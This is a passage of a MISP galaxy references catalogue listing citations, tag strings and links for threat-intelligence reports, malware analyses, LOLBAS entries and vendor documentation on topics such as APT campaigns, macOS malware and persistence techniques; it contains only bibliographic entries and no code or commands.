https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf

TrendMicro Operation Woolen Goldfish March 2015

Cedric Pernet, Kenney Lu. (2015, March 19). Operation Woolen-Goldfish - When Kittens Go phishing. Retrieved April 21, 2021.

The tag is: *misp-galaxy:references="TrendMicro Operation Woolen Goldfish March 2015"*

Table 22352. Table References

Links
https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf

Bleeping Computer Op Sharpshooter March 2019

1. Ilascu. (2019, March 3). Op 'Sharpshooter' Connected to North Korea’s Lazarus Group. Retrieved September 26, 2022.

The tag is: *misp-galaxy:references="Bleeping Computer Op Sharpshooter March 2019"*

Table 22353. Table References

Links
https://www.bleepingcomputer.com/news/security/op-sharpshooter-connected-to-north-koreas-lazarus-group/

BleepingComputer March 21 2025

Sergiu Gatlan. (2025, March 21). Oracle denies breach after hacker claims theft of 6 million data records. Retrieved March 31, 2025.

The tag is: *misp-galaxy:references="BleepingComputer March 21 2025"*

Table 22354. Table References

Links
https://www.bleepingcomputer.com/news/security/oracle-denies-data-breach-after-hacker-claims-theft-of-6-million-data-records/

Symantec Orangeworm IOCs April 2018

Symantec Security Response Attack Investigation Team. (2018, April 23). Orangeworm: Indicators of Compromise. Retrieved July 8, 2018.

The tag is: *misp-galaxy:references="Symantec Orangeworm IOCs April 2018"*

Table 22355. Table References

Links
https://symantec-enterprise-blogs.security.com/sites/default/files/2018-04/Orangeworm%20IOCs.pdf

Symantec WastedLocker June 2020

Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.

The tag is: *misp-galaxy:references="Symantec WastedLocker June 2020"*

Table 22356. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us

Microsoft Azure Resources

Microsoft Azure. (2024, May 31). Organize your Azure resources effectively. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Microsoft Azure Resources"*

Table 22357. Table References

Links
https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-setup-guide/organize-resources

Symantec Calisto July 2018

Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.

The tag is: *misp-galaxy:references="Symantec Calisto July 2018"*

Table 22358. Table References

Links
https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days

Objective-See MacMa Nov 2021

Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022.

The tag is: *misp-galaxy:references="Objective-See MacMa Nov 2021"*

Table 22359. Table References

Links
https://objective-see.org/blog/blog_0x69.html

hexed osx.dok analysis 2019

fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="hexed osx.dok analysis 2019"*

Table 22360. Table References

Links
https://web.archive.org/web/20221007144948/http://www.hexed.in/2019/07/osxdok-analysis.html

malwarebyteslabs xcsset dubrobber

Thomas Reed. (2020, April 21). OSX.DubRobber. Retrieved October 5, 2021.

The tag is: *misp-galaxy:references="malwarebyteslabs xcsset dubrobber"*

Table 22361. Table References

Links
https://blog.malwarebytes.com/detections/osx-dubrobber/

wardle evilquest partii

Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.

The tag is: *misp-galaxy:references="wardle evilquest partii"*

Table 22362. Table References

Links
https://objective-see.com/blog/blog_0x60.html

wardle evilquest parti

Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.

The tag is: *misp-galaxy:references="wardle evilquest parti"*

Table 22363. Table References

Links

https://objective-see.com/blog/blog_0x59.html

eset_osx_flashback

ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022.

The tag is: *misp-galaxy:references="eset_osx_flashback"*

Table 22364. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf

CheckPoint Dok

Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.

The tag is: *misp-galaxy:references="CheckPoint Dok"*

Table 22365. Table References

Links
https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/

Intego Shlayer Feb 2018

Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019.

The tag is: *misp-galaxy:references="Intego Shlayer Feb 2018"*

Table 22366. Table References

Links
https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/

Decoded Avast.io Follina June 3 2022

Threat Intelligence Team. (2022, June 3). Outbreak of Follina in Australia. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Decoded Avast.io Follina June 3 2022"*

Table 22367. Table References

Links
https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia/

SensePost Outlook Forms

Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.

The tag is: *misp-galaxy:references="SensePost Outlook Forms"*

Table 22368. Table References

Links
https://sensepost.com/blog/2017/outlook-forms-and-shells/

SensePost Outlook Home Page

Stalmans, E. (2017, October 11). Outlook Home Page – Another Ruler Vector. Retrieved February 4, 2019.

The tag is: *misp-galaxy:references="SensePost Outlook Home Page"*

Table 22369. Table References

Links
https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/

Outlook Today Home Page

Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.

The tag is: *misp-galaxy:references="Outlook Today Home Page"*

Table 22370. Table References

Links
https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943

Recorded Future Beacon 2019

Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved September 16, 2024.

The tag is: *misp-galaxy:references="Recorded Future Beacon 2019"*

Table 22371. Table References

Links
https://www.recordedfuture.com/blog/identifying-cobalt-strike-servers

FireEye APT33 Guardrail

Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.

The tag is: *misp-galaxy:references="FireEye APT33 Guardrail"*

Table 22372. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html

Kubernetes Cloud Native Security

Kubernetes. (n.d.). Overview of Cloud Native Security. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="Kubernetes Cloud Native Security"*

Table 22373. Table References

Links
https://kubernetes.io/docs/concepts/security/overview/

Apple Dev Dynamic Libraries

Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023.

The tag is: *misp-galaxy:references="Apple Dev Dynamic Libraries"*

Table 22374. Table References

Links
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html

Apple Doco Archive Dynamic Libraries

Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.

The tag is: *misp-galaxy:references="Apple Doco Archive Dynamic Libraries"*

Table 22375. Table References

Links
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html

GCP IAM Conditions

Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January 2, 2024.

The tag is: *misp-galaxy:references="GCP IAM Conditions"*

Table 22376. Table References

Links
https://cloud.google.com/iam/docs/conditions-overview

Kubeflow Pipelines

The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Kubeflow Pipelines"*

Table 22377. Table References

Links
https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/

TechNet RDP Gateway

Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.

The tag is: *misp-galaxy:references="TechNet RDP Gateway"*

Table 22378. Table References

Links
https://technet.microsoft.com/en-us/library/cc731150.aspx

CrowdStrike AQUATIC PANDA December 2021

Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022.

The tag is: *misp-galaxy:references="CrowdStrike AQUATIC PANDA December 2021"*

Table 22379. Table References

Links
https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/

OWASP Top 10 2017

OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.

The tag is: *misp-galaxy:references="OWASP Top 10 2017"*

Table 22380. Table References

Links
https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/

OWASP Top 10

OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.

The tag is: *misp-galaxy:references="OWASP Top 10"*

Table 22381. Table References

Links
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Cado Security P2PInfect 2023

jbowen. (2023, December 4). P2Pinfect - New Variant Targets MIPS Devices. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Cado Security P2PInfect 2023"*

Table 22382. Table References

Links
https://www.cadosecurity.com/blog/p2pinfect-new-variant-targets-mips-devices

Sophos Pacific Rim Overview October 31 2024

Sophos X-Ops, Ross McKerchar. (2024, October 31). Pacific Rim overview. Retrieved November 1, 2024.

The tag is: *misp-galaxy:references="Sophos Pacific Rim Overview October 31 2024"*

Table 22383. Table References

Links
https://news.sophos.com/en-us/2024/10/31/pacific-rim-neutralizing-china-based-threat/

Sophos Pacific Rim Timeline October 31 2024

Ross McKerchar, Andrew Brandt. (2024, October 31). Pacific Rim timeline. Retrieved November 1, 2024.

The tag is: *misp-galaxy:references="Sophos Pacific Rim Timeline October 31 2024"*

Table 22384. Table References

Links
https://news.sophos.com/en-us/2024/10/31/pacific-rim-timeline/

Debian Manual Maintainer Scripts

Debian Policy Manual v4.6.1.1. (2022, August 14). Package maintainer scripts and installation procedure. Retrieved September 27, 2022.

The tag is: *misp-galaxy:references="Debian Manual Maintainer Scripts"*

Table 22385. Table References

Links
https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#s-mscriptsinstact

GCP Packet Mirroring

Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.

The tag is: *misp-galaxy:references="GCP Packet Mirroring"*

Table 22386. Table References

Links
https://cloud.google.com/vpc/docs/packet-mirroring

Citizenlab Packrat 2015

Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.

The tag is: *misp-galaxy:references="Citizenlab Packrat 2015"*

Table 22387. Table References

Links
https://citizenlab.ca/2015/12/packrat-report/

GitHub Pacu

Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.

The tag is: *misp-galaxy:references="GitHub Pacu"*

Table 22388. Table References

Links
https://github.com/RhinoSecurityLabs/pacu

Pacu Detection Disruption Module

Rhino Security Labs. (2021, April 29). Pacu Detection Disruption Module. Retrieved August 4, 2023.

The tag is: *misp-galaxy:references="Pacu Detection Disruption Module"*

Table 22389. Table References

Links
https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detectiondisruption/main.py

SecurityWeek Cyber Toufan January 3 2024

Ionut Arghire. (2024, January 3). Palestinian Hackers Hit 100 Israeli Organizations in Destructive Attacks. Retrieved August 8, 2024.

The tag is: *misp-galaxy:references="SecurityWeek Cyber Toufan January 3 2024"*

Table 22390. Table References

Links
https://www.securityweek.com/palestinian-hackers-hit-100-israeli-organizations-in-destructive-attacks/

Symantec Palmerworm Sep 2020

Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="Symantec Palmerworm Sep 2020"*

Table 22391. Table References

Links

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt

Apple PAM

Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.

The tag is: *misp-galaxy:references="Apple PAM"*

Table 22392. Table References

Links
https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt

Man Pam_Unix

die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.

The tag is: *misp-galaxy:references="Man Pam_Unix"*

Table 22393. Table References

Links
https://linux.die.net/man/8/pam_unix

Palo Alto PlugX June 2017

Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.

The tag is: *misp-galaxy:references="Palo Alto PlugX June 2017"*

Table 22394. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/

Unit42 PlugX June 2017

Lancaster, T., Idrizovic, E. (2017, June 27). Paranoid PlugX. Retrieved April 19, 2019.

The tag is: *misp-galaxy:references="Unit42 PlugX June 2017"*

Table 22395. Table References

Links
https://unit42.paloaltonetworks.com/unit42-paranoid-plugx/

Secuirtyinbits Ataware3 May 2019

Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.

The tag is: *misp-galaxy:references="Secuirtyinbits Ataware3 May 2019"*

Table 22396. Table References

Links
https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3

Dragos PARISITE

Dragos. (n.d.). PARISITE. Retrieved December 21, 2020.

The tag is: *misp-galaxy:references="Dragos PARISITE"*

Table 22397. Table References

Links
https://www.dragos.com/threat/parisite/

DOJ Lazarus Sony 2018

Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.

The tag is: *misp-galaxy:references="DOJ Lazarus Sony 2018"*

Table 22398. Table References

Links
https://www.justice.gov/opa/press-release/file/1092091/download

intezer stripped binaries elf files 2018

Ignacio Sanmillan. (2018, February 7). Executable and Linkable Format 101. Part 2: Symbols. Retrieved September 29, 2022.

The tag is: *misp-galaxy:references="intezer stripped binaries elf files 2018"*

Table 22399. Table References

Links
https://www.intezer.com/blog/malware-analysis/executable-linkable-format-101-part-2-symbols/

Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass

Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.

The tag is: *misp-galaxy:references="Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass"*

Table 22400. Table References

Links
https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191

Office 365 Delegated Administration

Microsoft. (n.d.). Partners: Offer delegated administration. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Office 365 Delegated Administration"*

Table 22401. Table References

Links
https://support.microsoft.com/en-us/topic/partners-offer-delegated-administration-26530dc0-ebba-415b-86b1-b55bc06b073e?ui=en-us&rs=en-us&ad=us

Microsoft IFEOorMalware July 2015

Microsoft. (2015, July 30). Part of Windows 10 or really Malware?. Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="Microsoft IFEOorMalware July 2015"*

Table 22402. Table References

Links
https://answers.microsoft.com/windows/forum/windows_10-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c

Circl Passive DNS

CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Circl Passive DNS"*

Table 22403. Table References

Links
https://www.circl.lu/services/passive-dns/

ObjectiveSee AppleJeus 2019

Patrick Wardle. (2019, October 12). Pass the AppleJeus. Retrieved September 28, 2022.

The tag is: *misp-galaxy:references="ObjectiveSee AppleJeus 2019"*

Table 22404. Table References

Links
https://objective-see.org/blog/blog_0x49.html

GentilKiwi Pass the Ticket

Deply, B. (2014, January 13). Pass the ticket. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="GentilKiwi Pass the Ticket"*

Table 22405. Table References

Links
https://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos

Wikipedia Password cracking

Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.

The tag is: *misp-galaxy:references="Wikipedia Password cracking"*

Table 22406. Table References

Links
https://en.wikipedia.org/wiki/Password_cracking

RDP Hijacking Korznikov

Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.

The tag is: *misp-galaxy:references="RDP Hijacking Korznikov"*

Table 22407. Table References

Links
http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html

ise Password Manager February 2019

ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.

The tag is: *misp-galaxy:references="ise Password Manager February 2019"*

Table 22408. Table References

Links
https://www.ise.io/casestudies/password-manager-hacking/

Microsoft Password Complexity

Hall, J., Lich, B. (2017, September 9). Password must meet complexity requirements. Retrieved April 5, 2018.

The tag is: *misp-galaxy:references="Microsoft Password Complexity"*

Table 22409. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements

BlackHillsInfosec Password Spraying

Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.

The tag is: *misp-galaxy:references="BlackHillsInfosec Password Spraying"*

Table 22410. Table References

Links
http://www.blackhillsinfosec.com/?p=4645

how_pwd_rev_enc_1

Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.

The tag is: *misp-galaxy:references="how_pwd_rev_enc_1"*

Table 22411. Table References

Links
http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html

how_pwd_rev_enc_2

Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.

The tag is: *misp-galaxy:references="how_pwd_rev_enc_2"*

Table 22412. Table References

Links
http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html

Volexity Patchwork June 2018

Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.

The tag is: *misp-galaxy:references="Volexity Patchwork June 2018"*

Table 22413. Table References

Links
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/

PaloAlto Patchwork Mar 2018

Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.

The tag is: *misp-galaxy:references="PaloAlto Patchwork Mar 2018"*

Table 22414. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/

Symantec Patchwork

Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.

The tag is: *misp-galaxy:references="Symantec Patchwork"*

Table 22415. Table References

Links

http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries

Trend Micro Pawn Storm OAuth 2017

Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.

The tag is: *misp-galaxy:references="Trend Micro Pawn Storm OAuth 2017"*

Table 22416. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks

TrendMicro Pawn Storm 2019

Hacquebord, F. (n.d.). Pawn Storm in 2019 A Year of Scanning and Credential Phishing on High-Profile Targets. Retrieved December 29, 2020.

The tag is: *misp-galaxy:references="TrendMicro Pawn Storm 2019"*

Table 22417. Table References

Links
https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf

TrendMicro Pawn Storm Dec 2020

Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm's Lack of Sophistication as a Strategy. Retrieved January 13, 2021.

The tag is: *misp-galaxy:references="TrendMicro Pawn Storm Dec 2020"*

Table 22418. Table References

Links
https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html

ClearSky Pay2Kitten December 2020

ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020.

The tag is: *misp-galaxy:references="ClearSky Pay2Kitten December 2020"*

Table 22419. Table References

Links
https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf

PaypalScam

Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.

The tag is: *misp-galaxy:references="PaypalScam"*

Table 22420. Table References

Links
https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/

Pcalua.exe - LOLBAS Project

LOLBAS. (2018, May 25). Pcalua.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Pcalua.exe - LOLBAS Project"*

Table 22421. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Pcalua/

pcodedmp Bontchev

Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.

The tag is: *misp-galaxy:references="pcodedmp Bontchev"*

Table 22422. Table References

Links
https://github.com/bontchev/pcodedmp

GitHub PcShare 2014

LiveMirror. (2014, September 17). PcShare. Retrieved October 11, 2022.

The tag is: *misp-galaxy:references="GitHub PcShare 2014"*

Table 22423. Table References

Links

https://github.com/LiveMirror/pcshare

Pcwrun.exe - LOLBAS Project

LOLBAS. (2018, May 25). Pcwrun.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Pcwrun.exe - LOLBAS Project"*

Table 22424. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/

Pcwutl.dll - LOLBAS Project

LOLBAS. (2018, May 25). Pcwutl.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Pcwutl.dll - LOLBAS Project"*

Table 22425. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/

Microsoft Security Blog August 28 2024

Microsoft Threat Intelligence. (2024, August 28). Peach Sandstorm deploys new custom Tickler malware in long-running intelligence gathering operations . Retrieved August 29, 2024.

The tag is: *misp-galaxy:references="Microsoft Security Blog August 28 2024"*

Table 22426. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/08/28/peach-sandstorm-deploys-new-custom-tickler-malware-in-long-running-intelligence-gathering-operations/

Microsoft Peach Sandstorm September 14 2023

Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets. Retrieved January 31, 2024.

The tag is: *misp-galaxy:references="Microsoft Peach Sandstorm September 14 2023"*

Table 22427. Table References

Links

https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/

Microsoft Peach Sandstorm 2023

Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets. Retrieved September 18, 2023.

The tag is: *misp-galaxy:references="Microsoft Peach Sandstorm 2023"*

Table 22428. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/

Google Cloud August 22 2024

Mandiant. (2024, August 22). PEAKLIGHT Decoding the Stealthy Memory-Only Malware . Retrieved August 23, 2024.

The tag is: *misp-galaxy:references="Google Cloud August 22 2024"*

Table 22429. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/peaklight-decoding-stealthy-memory-only-malware/

PeaZip Wikipedia

Wikipedia. (2025, April 27). PeaZip Wikipedia. Retrieved June 5, 2025.

The tag is: *misp-galaxy:references="PeaZip Wikipedia"*

Table 22430. Table References

Links
https://en.wikipedia.org/wiki/PeaZip

Blogger June 1 2020

Malwarenailed. (2020, June 1). PebbleDash - Lazarus HiddenCobra RAT. Retrieved February 10, 2025.

The tag is: *misp-galaxy:references="Blogger June 1 2020"*

Table 22431. Table References

Links
https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html

Microsoft PEB 2021

Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021.

The tag is: *misp-galaxy:references="Microsoft PEB 2021"*

Table 22432. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb

CERT-UA TelecomAttack 2023

CERT-UA. (2023, October 15). Peculiarities of destructive Sandworm cyber attacks against Ukrainian providers (CERT-UA#7627). Retrieved November 25, 2024.

The tag is: *misp-galaxy:references="CERT-UA TelecomAttack 2023"*

Table 22433. Table References

Links
https://cert.gov.ua/article/6123309

Peirates GitHub

InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022.

The tag is: *misp-galaxy:references="Peirates GitHub"*

Table 22434. Table References

Links
https://github.com/inguardians/peirates

Pentesting AD Forests

García, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Pentesting AD Forests"*

Table 22435. Table References

Links
https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019

FBI PRC Botnet September 18 2024

U.S. Federal Bureau of Investigation. (2024, September 18). People's Republic of China-Linked Actors Compromise Routers and IoT Devices for Botnet Operations. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="FBI PRC Botnet September 18 2024"*

Table 22436. Table References

Links
https://www.ic3.gov/Media/News/2024/240918.pdf

U.S. CISA BlackTech September 27 2023

Cybersecurity and Infrastructure Security Agency. (2023, September 27). People's Republic of China-Linked Cyber Actors Hide in Router Firmware. Retrieved September 29, 2023.

The tag is: *misp-galaxy:references="U.S. CISA BlackTech September 27 2023"*

Table 22437. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-270a

U.S. CISA APT40 July 8 2024

Cybersecurity and Infrastructure Security Agency. (2024, July 8). People's Republic of China (PRC) Ministry of State Security APT40 Tradecraft in Action. Retrieved July 10, 2024.

The tag is: *misp-galaxy:references="U.S. CISA APT40 July 8 2024"*

Table 22438. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-190a

CISA Leviathan 2024

CISA et al. (2024, July 8). People's Republic of China (PRC) Ministry of State Security APT40 Tradecraft in Action. Retrieved February 3, 2025.

The tag is: *misp-galaxy:references="CISA Leviathan 2024"*

Table 22439. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-190a

Joint Cybersecurity Advisory Volt Typhoon June 2023

NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.

The tag is: *misp-galaxy:references="Joint Cybersecurity Advisory Volt Typhoon June 2023"*

Table 22440. Table References

Links
https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF

U.S. CISA Volt Typhoon May 24 2023

Cybersecurity and Infrastructure Security Agency. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved May 25, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Volt Typhoon May 24 2023"*

Table 22441. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a

TechNet Firewall Design

Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.

The tag is: *misp-galaxy:references="TechNet Firewall Design"*

Table 22442. Table References

Links
https://technet.microsoft.com/en-us/library/cc700828.aspx

Oddvar Moe IFEO APR 2018

Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.

The tag is: *misp-galaxy:references="Oddvar Moe IFEO APR 2018"*

Table 22443. Table References

Links
https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/

Oddvar Moe RunOnceEx Mar 2018

Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.

The tag is: *misp-galaxy:references="Oddvar Moe RunOnceEx Mar 2018"*

Table 22444. Table References

Links
https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/

Xorrior Authorization Plugins

Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.

The tag is: *misp-galaxy:references="Xorrior Authorization Plugins"*

Table 22445. Table References

Links
https://xorrior.com/persistent-credential-theft/

SpecterOps JXA 2020

Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.

The tag is: *misp-galaxy:references="SpecterOps JXA 2020"*

Table 22446. Table References

Links
https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5

PersistentJXA_leopitt

Leo Pitt. (2020, August 6). Persistent JXA - A poor man’s Powershell for macOS. Retrieved January 11, 2021.

The tag is: *misp-galaxy:references="PersistentJXA_leopitt"*

Table 22447. Table References

Links
https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5

AhnLab February 3 2025

ATCP. (2025, February 3). Persistent Threats from the Kimsuky Group Using RDP Wrapper - ASEC. Retrieved February 10, 2025.

The tag is: *misp-galaxy:references="AhnLab February 3 2025"*

Table 22448. Table References

Links
https://asec.ahnlab.com/en/86098/

Pester.bat - LOLBAS Project

LOLBAS. (2018, May 25). Pester.bat. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Pester.bat - LOLBAS Project"*

Table 22449. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/pester/

TrendMicro PE_URSNIF.A2

Trend Micro. (2014, December 11). PE_URSNIF.A2. Retrieved June 5, 2019.

The tag is: *misp-galaxy:references="TrendMicro PE_URSNIF.A2"*

Table 22450. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_URSNIF.A2?_ga=2.131425807.1462021705.1559742358-1202584019.1549394279

aquasec-postgres-processes

